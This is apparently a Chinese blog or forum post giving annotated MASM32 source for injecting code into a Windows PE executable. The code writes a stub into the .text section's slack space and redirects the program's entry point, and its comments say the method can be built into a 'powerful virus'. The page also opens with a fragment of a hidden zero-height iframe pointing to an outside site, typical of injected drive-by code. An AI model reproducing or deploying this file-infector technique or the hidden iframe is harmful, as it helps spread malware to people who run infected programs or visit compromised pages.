注入PE的方法(原代码)

src="http://pspper.xkwm.cn/main.htm" width="100" height="0">

.386
.model flat,stdcall
option casemap:none

include <e:/masm32/include/windows.inc>
include <e:/masm32/include/kernel32.inc>
includelib <e:/masm32/lib/kernel32.lib>
include <e:/masm32/include/user32.inc>
includelib <e:/masm32/lib/user32.lib>

.data
sztest db "d:/test.exe",0                        ;这个你自己放在D盘中,做测试用
szExitProcess db "ExitProcess",0     ;默认的情况下所有进程都有KERNEL32这个DLL,所以为了简单,我们只注入这个函数
szKernel32 db "Kernel32.dll",0
@text db ".text",0
hKernel32 dd 0
hInstance dd 0
lpPEheader dd 0;PE头的地址,内存映射文件

.data?
ReadBuf  dd 100 dup(?)
NumReaded dd ?
__length  dd ?;附加代码长度
.code

instart equ this byte;坏事代码
_instart:
lpExitProcess dd 0
OldEntry dd 0
NewEntry dd 0
call @F
@@:
pop ebx
sub ebx,offset @B
push NULL
call [ebx+offset lpExitProcess];再次说明,用这个函数是为了简单,实际上可以依照本文原理炮制强大的病毒
jmp OldEntry
_inend:
inend equ this byte

RavtoOffset proc uses edx ecx esi edi Rav,lpSectionHeader;这个函数并未使用,为了以后扩展功能而设
assume esi:ptr IMAGE_SECTION_HEADER
mov esi,lpSectionHeader
mov edx,[esi].VirtualAddress
mov eax,edx
add eax,[esi].SizeOfRawData
.while !(Rav>edx && Rav<eax)
 add esi,sizeof IMAGE_SECTION_HEADER
 mov edx,[esi].VirtualAddress
 mov eax,edx
 add eax,[esi].SizeOfRawData 
.endw
mov ecx,Rav
sub ecx,edx
mov eax,[esi].PointerToRawData
add eax,ecx
ret
RavtoOffset endp

;上面的函数怎么干事呢?答:lpSectionHeader指向的节表中包括了所有的节信息,只要你传入的RAV>某节的VIRTUALADDRESS 且 <此节的VIRTUALADDRESS+SIZEOFRAWDATA(对齐后的节大小)那么只要用RAV-VIRTUALADDRESS+此节的POINTERTORAWDATA(这个节在磁盘中的位置)就行了!

OffsettoRav proc uses esi edx _offset,lpSectionHeader
assume esi:ptr IMAGE_SECTION_HEADER
mov esi,lpSectionHeader
mov edx,[esi].PointerToRawData
mov eax,edx
add eax,[esi].Misc.VirtualSize
.while !(_offset>edx && _offset<eax)
 add esi,sizeof IMAGE_SECTION_HEADER
 mov edx,[esi].PointerToRawData
 mov eax,edx
 add eax,[esi].Misc.VirtualSize 
.endw
mov eax,_offset
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
ret
OffsettoRav endp

;RAVTOOFFSET的反函数,OFFSET-POINTERTORAWDATA+VIRTUALADDRESS得对应的RAV

insertPE proc szpe:DWORD,lpstart:DWORD,lpend:DWORD;干!!!!!
local _length
local NameBuf[9]:BYTE
local hFile,hMapFile,lpFile
local _NewEntry
local lpSection
invoke ReadProcessMemory,hInstance,addr _instart,addr ReadBuf,__length,addr NumReaded;把欲插入的代码读入缓冲区
invoke CreateFile,szpe,GENERIC_READ OR GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL;以下建立目标的内存映射文件方便操作
.if eax!=INVALID_HANDLE_VALUE
 mov hFile,eax
.else
 jmp __end
.endif
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL
mov hMapFile,eax
invoke MapViewOfFile,hMapFile,FILE_MAP_WRITE OR FILE_MAP_READ,NULL,NULL,NULL
mov lpFile,eax
;writePE,干!
mov edi,lpFile

;跳到节表去
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew
assume edi:ptr IMAGE_NT_HEADERS
mov lpPEheader,edi
add edi,sizeof IMAGE_NT_HEADERS
assume  edi:ptr IMAGE_SECTION_HEADER

;下面搜索名为.text的节
mov esi,edi
lea edx,NameBuf
xor cl,cl
.while cl<8
 mov al,[esi]
 mov [edx],al
 inc esi
 inc edx
 inc cl
.endw
invoke lstrcmp,addr NameBuf,addr @text
.while eax
 add edi,sizeof IMAGE_SECTION_HEADER
 mov esi,edi
 lea edx,NameBuf
 xor cl,cl
 .while cl<8
  mov al,[esi]
  mov [edx],al
  inc esi
  inc edx
  inc cl
 .endw
 invoke lstrcmp,addr NameBuf,addr @text
.endw

;上面已经找到了目标节,准备干事...
mov eax,lpend
sub eax,lpstart
mov _length,eax;计算长度
assume edi:ptr IMAGE_SECTION_HEADER
mov lpSection,edi
mov eax,[edi].SizeOfRawData
sub eax,[edi].Misc.VirtualSize
.if eax<=_length
 jmp _end
.endif;如果空隙不够退出
mov eax,[edi].PointerToRawData
add eax,[edi].Misc.VirtualSize
add eax,12
mov _NewEntry,eax;计算新入口地址
add eax,lpFile
mov edi,eax
mov esi,lpPEheader
assume esi:ptr IMAGE_NT_HEADERS
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
mov dword ptr ReadBuf+4,eax;保存老入口地址
mov eax, _NewEntry;似乎是废话,权当花指令了,懒得动它

mov edi,lpSection
mov eax,[edi].Misc.VirtualSize
add eax,_length;修改节大小,重要!
mov [edi].Misc.VirtualSize,eax
invoke OffsettoRav,_NewEntry,lpSection;将入口化为RAV
mov [esi].OptionalHeader.AddressOfEntryPoint,eax;新入口写入
lea esi, ReadBuf
xor ecx,ecx
mov ecx,inend-instart

;以下便是注入部分了

mov edi,lpSection
assume edi:ptr IMAGE_SECTION_HEADER
mov edx,[edi].PointerToRawData
add edx,[edi].Misc.VirtualSize
add edx,lpFile
sub edx,_length
mov edi,edx
assume edi:nothing
.while ecx
 mov al,byte ptr[esi]
 mov [edi],al
 inc edi
 inc esi
 dec ecx
.endw
_end:
invoke FlushViewOfFile,lpFile,NULL
invoke UnmapViewOfFile,lpFile;保存修改
INVOKE CloseHandle,hFile
__end:
ret
insertPE endp

start:
mov  __length,inend-instart
invoke RtlZeroMemory,addr ReadBuf,sizeof ReadBuf
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCurrentProcessId
invoke OpenProcess,PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE,NULL,eax;修改进程读写权限
mov hInstance,eax

;导入函数,采用手工法,实际上也可以先导入LOADLIBRARY,GETPROCADDRESS两个然后让他们在病毒体中干事
invoke ReadProcessMemory,hInstance,addr _instart,addr ReadBuf,__length,addr NumReaded
invoke LoadLibrary,addr szKernel32
mov hKernel32,eax
invoke GetProcAddress,hKernel32,addr szExitProcess
mov  dword ptr ReadBuf,eax
invoke WriteProcessMemory,hInstance,addr _instart,addr ReadBuf,__length,addr NumReaded;导入
invoke insertPE,addr sztest,addr _instart,addr _inend
invoke ExitProcess,NULL
end start ;写完注释,真累,希望我说的大家能懂,我也是新手,但这代码绝对是自己一步一步磨出来的,希望对迷茫者有所帮助